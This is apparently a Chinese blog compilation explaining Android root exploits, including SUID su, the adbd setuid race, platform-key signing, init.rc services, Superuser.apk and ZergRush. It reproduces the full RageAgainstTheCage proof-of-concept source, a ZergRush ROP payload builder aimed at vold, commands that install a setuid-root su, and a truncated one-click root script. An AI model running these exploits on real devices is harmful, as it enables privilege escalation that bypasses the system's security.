admin管理员组

文章数量:1634982

Android 系统root破解原理分析

获得root权限的代码如下:

Process process =Runtime.getRuntime().exec("su");

DataOutputStreamos =new

DataOutputStream(process.getOutputStream());

 ......

os.writeBytes("exit\n");

os.flush();

process.waitFor();

    从上面代码我们可以看到首先要运行su程序,其实root的秘密都在su程序中,Android系统默认的su程序只能root和shell可以用运行su,如果把这个限制拿掉,就是root破解了!

    下面我们仔细分析一下程序是怎样获得root权限的,如果对Linux的su命令熟悉的朋友可能知道su程序都设置SUID位,我们查看一下已经root破解上的su权限设置,

     我们发现su的所有者和所有组都是root,是其实是busybox的软链接,我们查看busybox的属性发现,其设置了SUID和SGID,并且所有者和所有组都是root。这样运行busybox的普通用户,busybox运行过程中获得的是root的有效用户。su程序则是把自己启动一个新的程序,并把自己权限提升至root(我们前面提到su其实就是busybox,运行期它的权限是root,当然也有权限来提升自己的权限)。

    再强调一下不光root手机上su需要设置SUID,所有的Linux系统上的su程序都需要设置SUID位。

    我们发现su也设置了SUID位,这样普通用户也可以运行su程序,su程序会验证root

密码,如果正确su程序可以把用户权限提高的root(因为其设置SUID位,运行期是root权限,这样其有权限提升自己的权限)。

    Android系统的破解的根本原理就是替换掉系统中的su程序,因为系统中的默认su程序需要验证实际用户权限(只有root和shell用户才有权运 行系统默认的su程序,其他用户运行都会返回错误)。而破解后的su将不检查实际用户权限,这样普通的用户也将可以运行su程序,也可以通过su程序将自 己的权限提升。

    root破解没有利用什么Linux内核漏洞(Linux内核不可能有这么大的漏洞存在),可以理解成root破解就是在你系统中植入“木马su”,说它 是“木马”一点儿都不为过,假如恶意程序在系统中运行也可以通过su来提升自己的权限的这样的结果将会是灾难性的。所以一般情况下root过手机都会有一 个SuperUser应用程序来让用户管理允许谁获得root权限.但是要替换掉系统中su程序本身就是需要root权限的,怎样在root破解过程中获 得root权限,假设需要破解的Android系统具备如下条件:

1、可以通过adb连接到设备,一般意味着驱动程序已经安装。
2、但是adb获得用户权限是shell用户,而不是root。

先了解一下adb工具,设备端有adbd服务程序后台运行,为开发机的adb程序提供 服务,adbd的权限,决定了adb的权限。具体用户可查看/system/core/adb下的源码,查看Android.mk你将会发现adb和 adbd其实是一份代码,然后通过宏来编译。

查看adb.c的adb_main函数你将会发现adbd中有如下代码:

   1:intadb_main(int is_daemon)

   2: {

   3:    ......

   4:    property_get("ro.secure",value,"");

   5:    if(strcmp(value,"1") == 0) {

   6:        //don't run as root if ro.secure is set...

   7:        secure= 1;

   8:        ......

   9:    }

  10: 

  11:    if(secure) {

  12:        ......

  13:        setgid(AID_SHELL);

  14:        setuid(AID_SHELL);

  15:        ......

  16:    }

  17: }

从中我们可以看到adbd会检测系统的ro.secure属性,如果该属性为1则将会把自己的用户权限降级成shell用户。一般设备出厂的时候在/default.prop文件中都会有:

   1:ro.secure=1

这样将会使adbd启动的时候自动降级成shell用户。

然后我们再介绍一下adbd在什么时候启动的呢?答案是在init.rc中配置的系统服务,由init进程启动。我们查看init.rc中有如下内容:

   1: #adbd is controlled by the persist.service.adb.enable system property

   2:service adbd /sbin/adbd

   3:    disabled

对Android属性系统少有了解的朋友将会知道,在init.rc中配置的系统服务启动的时候都是root权限(因为init进行是root权限,其子程序也是root)。由此我们可以知道在adbd程序在执行:

   1:/*then switch user and group to "shell" */

   2:setgid(AID_SHELL);

   3:setuid(AID_SHELL);

代码之前都是root权限,只有执行这两句之后才变成shell权限的。

这样我们就可以引出root破解过程中获得root权限的方法了,那就是让上面setgid和setuid函数执行失败,也就是降级失败,那就继续在root权限下面运行了。

这里面做一个简单说明:

1、出厂设置的ro.secure属性为1,则adbd也将运行在shell用户权限下;
2、adb工具创建的进程ratc也运行在shell用户权限下;

3、ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为RLIMIT_NPROC的时候(包括adbd、ratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbd,adbd进程因为是Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。

这时重新用adb连接设备,则adb将会运行在root权限下面了。

通过上面的介绍我们发现利用RageAgainstTheCage漏洞,可以使adbd获得root权限,也就是adb获得了root权限。拿到root权限剩下的问题就好办了,复制破解之后的su程序到系统中,都是没有什么技术含量的事情了。

其实堵住adbd的这个漏洞其实也挺简单的,新版本已经加两个这个补丁。

   1:/*then switch user and group to "shell" */

   2:if(setgid(AID_SHELL) != 0) {

   3:    exit(1);

   4: }

   5:if(setuid(AID_SHELL) != 0) {

   6:    exit(1);

   7: }

如果发现setgid和setuid函数执行失败,则adbd进程异常退出,就把这个漏洞给堵上了。

 

http://www.cve.mitre/cgi-bin/cvename.cgi?name=CVE-2006-2607

http://blog.claudxiao/wp-content/uploads/2011/04/rageagainstthecage.c

 

/* android 1.x/2.xadb setuid() root exploit

 * (C) 2010The Android Exploid Crew

 *

 * Needs tobe executed via adb -d shell. It may take a while until

 * allprocess slots are filled and the adb connection is reset.

 *

 * !!!This isPoC code for educational purposes only!!!

 * If you runit, it might crash your device and make it unusable!

 * So you useit at your own risk!

 */

#include<stdio.h>

#include<sys/types.h>

#include<sys/time.h>

#include<sys/resource.h>

#include<unistd.h>

#include<fcntl.h>

#include<errno.h>

#include<string.h>

#include<signal.h>

#include<stdlib.h>

 

 

void die(constchar *msg)

{

       perror(msg);

       exit(errno);

}

 

pid_t find_adb()

{

       char buf[256];

       int i = 0, fd = 0;

       pid_t found = 0;

 

       for (i = 0; i < 32000; ++i) {

              sprintf(buf, "/proc/%d/cmdline", i);

              if ((fd = open(buf, O_RDONLY)) < 0)

                      continue;

              memset(buf, 0, sizeof(buf));

              read(fd, buf, sizeof(buf) - 1);

              close(fd);

              if (strstr(buf, "/sbin/adb")) {

                      found = i;

                      break;

              }

       }

       return found;

}

 

 

voidrestart_adb(pid_t pid)

{

       kill(pid, 9);

}

 

 

voidwait_for_root_adb(pid_t old_adb)

{

       pid_t p = 0;

 

       for (;;) {

              p = find_adb();

              if (p != 0 && p != old_adb)

                      break;

              sleep(1);

       }

       sleep(5);

       kill(-1, 9);

}

 

 

int main(int argc,char **argv)

{

       pid_t adb_pid = 0, p;

       int pids = 0, new_pids = 1;

       int pepe[2];

       char c = 0;

       struct rlimit rl;

 

       printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by743C\n\n");

       printf("[*] checking NPROC limit ...\n");

 

       if (getrlimit(RLIMIT_NPROC, &rl) < 0)

              die("[-] getrlimit");

 

       if (rl.rlim_cur == RLIM_INFINITY) {

              printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine.Exiting.\n");

              exit(1);

       }

 

       printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);

       printf("[*] Searching for adb ...\n");

 

       adb_pid = find_adb();

 

       if (!adb_pid)

              die("[-] Cannot find adb");

 

       printf("[+] Found adb as PID %d\n", adb_pid);

       printf("[*] Spawning children. Dont type anything and wait forreset!\n");

       printf("[*]\n[*] If you like what we are doing you can send us PayPalmoney to\n"

              "[*] 7-4-3-C@web.de so we cancompensate time, effort and HW costs.\n"

              "[*] If you are a company and feellike you profit from our work,\n"

              "[*] we also accept donations >1000 USD!\n");

       printf("[*]\n[*] adb connection will be reset. restart adb server ondesktop and re-login.\n");

 

       sleep(5);

 

       if (fork() > 0)

              exit(0);

 

       setsid();

       pipe(pepe);

 

       /* generate many (zombie) shell-user processes so restarting

        * adb's setuid() will fail.

        * The whole thing is a bit racy, since when we kill adb

        * there is one more process slot left which we need to

        * fill before adb reaches setuid(). Thats why we fork-bomb

        * in a seprate process.

        */

       if (fork() == 0) {

              close(pepe[0]);

              for (;;) {

                      if ((p = fork()) == 0) {

                              exit(0);

                      } else if (p < 0) {

                              if (new_pids) {

                                     printf("\n[+] Forked %d childs.\n", pids);

                                     new_pids = 0;

                                     write(pepe[1], &c, 1);

                                     close(pepe[1]);

                              }

                      } else {

                              ++pids;

                      }

              }

       }

 

       close(pepe[1]);

       read(pepe[0], &c, 1);

 

 

       restart_adb(adb_pid);

 

       if (fork() == 0) {

              fork();

              for (;;)

                      sleep(0x743C);

       }

 

       wait_for_root_adb(adb_pid);

       return 0;

}

 

 

Android程序的安全系统

在Android系统中,系统为每一个应用程序(apk)创建了一个用户和组。这个用户和组都是受限用户,不能访问系统的数据,只能访问自己的文件和目录,当然它也不能访问其他应用程序的数据。这样设计可以尽可能地保护应用程序的私有数据,增强系统的安全性和健壮性。

    但是有一些应用程序是需要访问一些系统资源的。比如Setting程序,它需要访问WiFi,在系统中创建删除文件等等操作。怎样做到这一点儿呢?Android通过一定途径可以获得system权限。获得system用户权限,需要以下步骤:

1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE:= platform这一行
3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。

     一般情况下system用 户可以在系统中创建和删除文件,访问设备等等。但是有些情况下system权限还是不够的。比如:设置网卡IP地址,ifconfig命令是需要root权限的。我可以很肯定的说,在Android下面应用程序是没有可能拿到root权限的。但是如果我的应用程序需要root权限怎么办呢?只能想办法绕般过去。就以我的问题为例,设置网卡IP地址,root权限下面命令为:

ifconfig eth0192.168.1.188

在普通用户或者system用户权限下面这条命令是不起作用的,但是不会返回失败和异常,那么怎样实现这个功能呢。

1、系统启动的时候init进程创建一个后台进程,该进程处于root用户权限下面。用来监听系统中应用程序的请求(可以用socket实现),并代其完成。这样应用程序就可以执行root用户权限的任务了。

2、实现一个虚拟的设备,该设备的功能就是在内核态帮应用程序执行相应的命令。Linux内核态没有权限的问题了。肯定可以执行成功。

    解决设置网卡IP地址问题时,选择是后者相对来说设计比较简单。

 



Android应用程序利用init.rc service获得root权限

发布于:想在android应用程序中动态mount一个NFS的系统,但是执行mount命令必须要root权限才可以。一般情况下,在Android的APK层是不能获得root权限的。

上一节提到实现由init启动的Service,来帮助Android应用程序执行root权限的命令或者实现一个虚拟设备,这个设备帮助Android应用程序执行root权限的命令。

  本文将会选择第一种来解决Android应用程序mount NFS文件系统的问题。

Init.rc Service

  在Android系统init.rc中定义很多Service,Init.rc中定义的Service将会被Init进程创建,这样将可以获得root权限。

  设置系统属性“ctl.start”, 把“ctl.start”设置为你要运行的Service,假设为“xxx”,Android系统将会帮你运行“ctl.start”系统属性中指定的 Service。那么运行结果init进程会写入命名为“init.svc.+xxx”的系统属性中,应用程序可以参考查阅这个值来确定Service xxx执行的情况。

Android系统属性(property)权限

   难道Android属 性“ctl.start”不是所有进程都可以设置的,见property_service.c中的源码,设置Android系统属性的函数为 handle_property_set_fd(),从源码中可以发现如果设置“ctl.”开头的Android系统属性,将会调用 check_control_perms函数来检查调用者的权限,只有root权限和system权限的应用程序才可以修改“ctl.”开头的 Android系统属性。否则将会检查control_perms全局变量中的定义权限和Service。从代码中可以看到,任何不以property_perms[] 中定义的前缀开头的property 是无法被除root以外的用户访问的,包括system用户。

实例

   下面以上面提出的mount nfs文件系统为例说明:

A.首先定义一个执行mount的脚本,我把它位于/system/etc/mount_nfs.sh,定义如下:

  1: #!/system/bin/sh

  2: 

  3: /system/bin/busybox mount -o rw,nolock-t nfs 192.168.1.6:/nfs_srv /data/mnt

不要忘了把它加上可执行权限。

B.在init.rc中加入一个Service定义,定义如下:

  1: service mount_nfs/system/etc/mount_nfs.sh

  2:    oneshot

  3:    disabled

C.让自己的应用程序获得system权限,方法见前面章节

D.在自己应用程序中设置System系统属性“ctl.start”为“mount_nfs”,这样Android系统将会帮我们运行mount_nfs系统属性了。不能够调用System.getProperty,这个函数只是修改JVM中的系统属性。只能调用android.os.SystemProperties,最终通过JNI调用C/C++层的API property_get和property_set函数。

  SystemProperties.set("ctl.start","mount_nfs");

E.最后在自己应用程序中,读取“init.svc.mount_nfs”Android系统Property,检查执行结果。代码如下:

  1:while(true)

  2: {

  3:    mount_rt =SystemProperties.get("init.svc.mount_nfs","");

  4:    if(mount_rt !=null && mount_rt.equals("stopped"))

  5:    {

  6:        returntrue;

  7:    }

  8:    

  9:    try

 10:    {

 11:        Thread.sleep(1000);

 12:    }catch(Exception ex){

 13:        Log.e(TAG,"Exception:" + ex.getMessage());

 14:    }

 15: }

    init进程维护一个service的队列,所以我们需要轮训来查询service的执行结果。

1. 文件(夹)读写权限

init.rc 中建立test1 test2 test3文件夹

mkdir /data/misc/test1 0770 rootroot   

mkdir /data/misc/test2 0770 wifi wifi

mkdir /data/misc/test3 0770 system misc

其中

test1 目录的owner是root,group也是root

test2 目录的owner是wifi, group也是wifi

test3 目录的owner是system, group是misc(任何用户都属于group misc)

 

service xxxx /system/bin/xxxx

    user root

    disabled

    oneshot

 

service yyyy /system/bin/yyyy

    user system

    disabled

    oneshot

 

service zzzz /system/bin/zzzz

    user wifi

    disabled

    oneshot

 

结果:

 

xxxx 服务可以访问 test1, test2, test3

yyyy 服务可以访问 test3

zzzz 服务可以访问 test2, test3

 

见android_filesystem_config.h中定义AID_ROOT  AID_SYSTEM  AID_MISC等宏定义的权限

360等特殊系统是否可以考虑在AID_ROOTAID_SYSTEM之间加一个权限和用户,增加新的哦property给360用?

 

   通过上面的这些步骤,Android应用程序就能够调用init.rc中定义的Service了。这样你的Android应用程序也就获得了root权限。前提是Android系统开发人员,否则你无法修改init.rc等文件,而且应用程序必须要获得system权限。

 

 

 

androidsuperuser.apk 管理root权限原理分析  

原理是利用了android的两个提权漏洞: CVE-2010-EASY和 ZergRush。 我把大概原理简单说说:
1, CVE-2010-EASY: linux的内核的模块化程度很高,很多功能模块是需要到时候再加载,在 android中由init进程来管理这些的。但是这个init进程不会检测发给它的指令的来源,不管是内核发送的,还是用户发送的,它都执行不误,会顺从的去加载或卸载一些模块,而加载的模块都是以root身份运行的。因此你可以给它准备一个精心制作的功能模块(ko文件),然后触发相应的加载条件,比如热拔插、开关wifi等等, 该功能模块运行后,会生成 /data/local/tmp/rootshell    一个带s位的shell。
2,ZergRush原理: 具有root权限的vold进程使用了libsysutils.so库,该库有个函数存在栈溢出,因此可以root权限执行输入的shellcode。
3. 还有个前面提到的adb提权漏洞,不够新版本已经修正了。

扯了半天还没扯到superuser.apk,这个程序是root成功后,专门用来管理root权限使用的,防止被恶意程序滥用。
源码地址:
http://superuser.googlecode/svn/trunk

带着两个问题我们来分析源码:
1、superuser是怎么知道谁想用root权限? 
2、superuser是如何把用户的选择告诉su程序的那?
即superuser和su程序是如何通讯的,他们俩位于不通的时空,一个在java虚拟机中,一个在linux的真实进程中。
共有两个active: SuperuserActivity和SuperuserRequestActivity。
其中SuperuserActivity主要是用来管理白名单的,就是记住哪个程序已经被允许使用root权限了,省的每次用时都问用户。
SuperuserRequestActivity 就是用来询问用户目前有个程序想使用root权限,是否允许,是否一直允许,即放入白名单。

这个白名单比较关键,是一个sqlite数据库文件,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite

root的本质就是往 /system/bin/下放一个带s位的,不检查调用者权限的su文件。普通程序可以调用该su来运行root权限的命令。superuser.apk中就自带了一个这样的su程序。一开始superuser会检测/system/bin/su是否存在,是否是自个放进去的su:

File su = new File("/system/bin/su");

// 检测su文件是否存在,如果不存在则直接返回

    if (!su.exists())       

    {

       Toast toast = Toast.makeText(this, "Unable to find

/system/bin/su.", Toast.LENGTH_LONG);

       toast.show();

       return;

    }

    //检测su文件的完整性,比较大小,太省事了吧

    //如果大小一样,则认为su文件正确,直接返回了事。

   if (su.length() ==suStream.available()) 

   {

     suStream.close();

     return;  }

           

 

  // 如果检测到/system/bin/su文件存在,但是不对头,则把自带的su先写到"/data/data/com.koushikdutta.superuser/su"

    //     再写到/system/bin/su。

   byte[] bytes = new byte[suStream.available()];

   DataInputStream dis =new DataInputStream(suStream);

   dis.readFully(bytes);

   FileOutputStreamsuOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su");

   suOutStream.write(bytes);

   suOutStream.close();

  

   Process process = Runtime.getRuntime().exec("su");

   DataOutputStream os =new DataOutputStream(process.getOutputStream());

   os.writeBytes("mount-oremount,rw /dev/block/mtdblock3 /system\n");

   os.writeBytes("busyboxcp /data/data/com.koushikdutta.superuser/su /system/bin/su\n");

   os.writeBytes("busyboxchown 0:0 /system/bin/su\n");

   os.writeBytes("chmod4755 /system/bin/su\n");

   os.writeBytes("exit\n");

   os.flush();


上面提到的su肯定是动过手脚的,有进程使用root权限,superuser是怎么知道的,看完su的代码明白了,关键是句:

  sprintf(sysCmd, "amstart -a android.intent.action.MAIN

                                 -ncom.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity

                                 --eiuid %d --ei pid %d > /dev/null", g_puid, ppid);

  if (system(sysCmd))

   returnexecutionFailure("am.");

原理是am命令,看了下am的用法,明白了:
在Android中,除了从界面上启动程序之外,还可以从命令行启动程序,使用的是命令行工具am.启动的方法为

$ adb shell
$ su
# am start -n {包(package)名}/{包名}.{活动(activity)名称}

程序的入口类可以从每个应用的AndroidManifest.xml的文件中得到,以计算器(calculator)为例,它的

<manifestxmlns:android="http://schemas.android/apk/res/android" …

package="com.android.calculator2"…>…

由此计算器(calculator)的启动方法为:

# am start -ncom.android.calculator2/com.android.calculator2.Calculator

一般情况希望,一个Android应用对应一个工程。值得注意的是,有一些工程具有多个活动(activity),而有一些应用使用一个工程。例如:在Android界面中,Music和Video是两个应用,但是它们使用的都是packages/apps/Music这一个工程。而在这个工程的AndroidManifest.xml文件中,有包含了不同的活动(activity)。

Music 和 Video(音乐和视频)的启动方法为:

# am start -ncom.android.music/com.android.music.MusicBrowserActivity

# am start -ncom.android.music/com.android.music.VideoBrowserActivity

# am start -ncom.android.music/com.android.music.MediaPlaybackActivity

 启动浏览器 :

am start -aandroid.intent.action.VIEW -d  http://www.google/

 

拨打电话 :

am start -aandroid.intent.action.CALL -d tel:10086

 

启动 google map直接定位到北京 :

am start -aandroid.intent.action.VIEW geo:0,0?q=beijing


  usage: am [subcommand] [options]

    start an Activity: am start [-D] [-W] <INTENT>
        -D: enable debugging
        -W: wait for launch to complete

    start a Service: am startservice <INTENT>

    send a broadcast Intent: am broadcast <INTENT>

    start an Instrumentation: am instrument [flags]<COMPONENT>
        -r: print raw results (otherwisedecode REPORT_KEY_STREAMRESULT)
        -e <NAME> <VALUE>: setargument <NAME> to <VALUE>
        -p <FILE>: write profilingdata to <FILE>
        -w: wait for instrumentation tofinish before returning

    start profiling: am profile <PROCESS> start<FILE>
    stop profiling: am profile <PROCESS> stop

    <INTENT> specifications include these flags:
        [-a <ACTION>] [-d<DATA_URI>] [-t <MIME_TYPE>]
        [-c <CATEGORY> [-c<CATEGORY>] ...]
        [-e|--es <EXTRA_KEY><EXTRA_STRING_VALUE> ...]
        [--esn <EXTRA_KEY> ...]
        [--ez <EXTRA_KEY><EXTRA_BOOLEAN_VALUE> ...]
        [-e|--ei <EXTRA_KEY><EXTRA_INT_VALUE> ...]
        [-n <COMPONENT>] [-f<FLAGS>]
        [--grant-read-uri-permission][--grant-write-uri-permission]
        [--debug-log-resolution]
        [--activity-brought-to-front][--activity-clear-top]
        [--activity-clear-when-task-reset][--activity-exclude-from-recents]
        [--activity-launched-from-history][--activity-multiple-task]
        [--activity-no-animation][--activity-no-history]
        [--activity-no-user-action][--activity-previous-is-top]
        [--activity-reorder-to-front][--activity-reset-task-if-needed]
        [--activity-single-top]
        [--receiver-registered-only][--receiver-replace-pending]
        [<URI>]


还有个疑点,就是su怎么知道用户是允许root权限还是反对那?原来是上面提到的白名单起来作用,superuser把用户的选择放入 :
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite   数据库中,然后su进程再去读该数据库来判断是否允许。

static int checkWhitelist()

{

 sqlite3 *db;

 int rc = sqlite3_open_v2(DBPATH,&db, SQLITE_OPEN_READWRITE, NULL);

 if (!rc)

 {

  char *errorMessage;

  char query[1024];

  sprintf(query, "select* from whitelist where _id=%d limit 1;", g_puid);

  struct whitelistCallInfocallInfo;

  callInfo.count = 0;

  callInfo.db = db;

  rc = sqlite3_exec(db,query, whitelistCallback, &callInfo, &errorMessage);

  if (rc != SQLITE_OK)

  {

   sqlite3_close(db);

   return 0;

  }

  sqlite3_close(db);

  return callInfo.count;

 }

 sqlite3_close(db);

 return 0;

}

 

 

获取一键root原理

转自:http://blog.csdn/liujian885/archive/2010/03/22/5404834.aspx

在 android的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,可惜无论你怎么调用这个函数都是没用的,无论模拟器还是真机,在logcat中总会得到"Unable to open alarm driver: Permission denied ".这个函数需要root权限或者运行与系统进程中才可以用。本来以为就没有办法在应用程序这一层改系统时间了,后来在网上搜了好久,知道这个目的还是可以达到的。

        第一个方法简单点,不过需要在Android系统源码的环境下用make来编译:

        1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。

        2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行

        3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。

        第二个方法麻烦点,不过不用开虚拟机跑到源码环境下用make来编译:

        1. 同上,加入android:sharedUserId="android.uid.system"这个属性。

        2. 使用eclipse编译出apk文件,但是这个apk文件是不能用的。

        3. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦,首先找到密钥文件,在我的Android源码目录中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build\tools\signapk"下,用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用绝对路径防止找不到,也可以修改源代码直接使用。

        这样最后得到的apk和第一个方法是一样的。

        最后解释一下原理,首先加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system,也就是要让程序运行在系统进程中,这样就有权限来修改系统时间了。

        只是加入UID还不够,如果这时候安装APK的话发现无法安装,提示签名不符,原因是程序想要运行在系统进程中还要有目标系统的platform key,就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。

        这也有一个问题,就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用,因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名,程序在模拟器上运行OK,不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system",这样也是保护了系统的安全。

        最最后还说下,这个android:sharedUserId属性不只可以把apk放到系统进程中,也可以配置多个APK运行在一个进程中,这样可以共享数据,应该会很有用的。


signapk编译结束后在 android目录下/out/host/linux-x86/framework/signapk.jar
使用方法:java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test_signed.apk文件。

 

漏洞— zergRush

提权实现的代码,见:

https://github/revolutionary/zergRush/blob/master/zergRush.c

 

需要了解一下是哪个地方有问题,边分析边记录此次过程。

文件不大,当然从 main 入手了,

 if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))  

     do_root();

 

明显,当有了 Root 能力后去做一个可以保持 Root 的动作,猜测,此程序会被调用多次,并且再次调用的时候程序名称为 boomsh

 

看一下 do_root 吧


写了一个属性 ro.kernel.qemu 为 1

明显是让手机当成模拟器运行,见 \android2.32\system\core\adb\adb.c 中的代码

1. /* run adbd in secure mode if ro.secure is set and 

2. ** we are not in the emulator 

3.  */  

4. property_get("ro.kernel.qemu", value, "");  

5.  if (strcmp(value, "1") != 0) {  

6.     property_get("ro.secure", value, "");  

7.     if (strcmp(value, "1") == 0) {  

8.         // don't run as root if ro.secure is set...  

9.         secure = 1;  

10.   

11.        // ... except we allow running as root in userdebug builds if the   

12.        // service.adb.root property has been set by the "adb root" command  

13.        property_get("ro.debuggable", value, "");  

14.        if (strcmp(value, "1") == 0) {  

15.            property_get("service.adb.root", value, "");  

16.            if (strcmp(value, "1") == 0) {  

17.                secure = 0;  

18.            }  

19.        }  

20.     }  

21. }  


以后调用 adb 默认是Root 用户了。

 

下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh

把 SH 拷贝到 /data/local/tmp/sh

改变 /data/local/tmp/boomsh 的权限为 711 ,可执行了

 

然后获取 /system/bin/vold 程序的大小,

通过 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 这样的一个计算,得到该程序的堆地址,有点意思了,对 vold 程序有了歪脑筋了

用过在手机上用 ps 看一下,这个程序有是从 root  用户执行过来的。

 

然后获取了一下手机的版本号,只对 2.2 2.3 二个版本进行处理,并修正了一上 heap_addr  的地址。

然后又找了一下 system 系统调用函数的地址,放到 system_ptr 中

继续看 checkcrash()

>> 清除了一下 logcat 日志

>> 删除 /data/local/tmp/crashlog 文件

>> 简立一个子进程,去生成一下 crashlog 文件。

>> 调用 do_fault

>> 打开 crashlog 文件

>> 在crashlog 中找到崩溃信息,找到 sp 寄存器地址。

 

等等,为什么崩溃呢,肯定是在 do_fault 中制造的,我们要看看这块了

这个函数比较乱,找找重点看

if ((sock = socket_local_client("vold",ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)

不错的信息,连接 vold ,又是它,以前听说过它有漏洞,这次还是它。

write(sock, buf, n+1)

写了一些信息,不知道什么信息,但是可以肯定的是,能让 vold 崩溃的信息。

 

下面回到 main  继续!

 

一个 For 循环处理。

find_stack_addr 用了上面的相同方法,从崩溃信息中找到程序的栈地址,(至于怎么计算的,以后再去研究了)

 

一些容错检查,略过!

 

kill(logcat_pid, SIGKILL);
unlink(crashlog);

 

find_rop_gadgets()

又一个陌生函数。看了,暂时看不出用途,貌似找点什么,继续!

 

下面就是再次调用 do_fault ,生成崩溃。

再次判断 sh 是否有没有 s 位, 如果有了,刚 ROOT 功了。

 

疑问来了,没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找,搜索 bsh 变理的使用情况,发现如下地方:

 

1.  static int do_fault()  

2.  {  

3.      char buf[255];  

4.      int sock = -1, n = 0, i;  

5.      char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];  

6.     uint32_t bsh_addr;  

7.      char padding[128];  

8.     int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);  

9.    

10.    memset(padding, 0, 128);  

11.    strcpy(padding, "LORDZZZZzzzz");  

12.    if(padding_sz > 0) {  

13.        memset(padding+12, 'Z', padding_sz);  

14.        printf("[*] Poping %d more zerglings\n", padding_sz);  

15.     }  

16.    else if(padding_sz < 0) {  

17.        memset(padding, 0, 128);  

18.        memset(padding, 'Z', 12+padding_sz);  

19.     }  

20.   

21.    if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)  

22.        die("[-] Error creating Nydus");  

23.   

24.    sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);  

25.    sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);  

26.    sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);  

27.    sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);  

28.    sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);  

29.   

30.    strcpy(buf, "ZERG");  

31.    strcat(buf, " ZZ ");  

32.    strcat(buf, s_stack_pivot_addr);  

33.    for(i=3; i < buffsz+1; i++)  

34.        strcat(buf, " ZZZZ");  

35.     strcat(buf, " ");  

36.    strcat(buf, s_heap_addr);  

37.          

38.    n = strlen(buf);  

39.    bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;  

40.       

41.    if(check_addr(bsh_addr) == -1) {  

42.        printf("[-] Colossus, we're doomed!\n");  

43.        exit(-1);  

44.     }  

45.   

46.    sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);  

47.   

48.    <strong><span style="color:#ffffff;BACKGROUND-COLOR: #ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);</span></strong>  

49.       

50.    printf("[*] Sending %d zerglings ...\n", n);  

51.   

52.    if ((n = write(sock, buf, n+1)) < 0)  

53.        die("[-] Nydus seems broken");  

54.       

55.     sleep(3);  

56.     close(sock);  

57.   

58.     return n;  

59. }  


看到上面加色的行了,原来他是用 socket 写的一个 shell code ,调用了他拷贝的 sh 程序。

在 vold 中执行 sh 肯定是root 啊。

 

至此,原理很是清楚了, shell code 嘛,运行的时候把他 dump 出来用别的工具看吧!

一键ROOT脚本

1.等待设备连接

 adb wait-for-device                          

2.删除文件

 adb shell "cd /data/local/tmp/; rm*"        

3.上传zergRush并修改属性去执行

 adb push c:\zergRush /data/local/tmp/

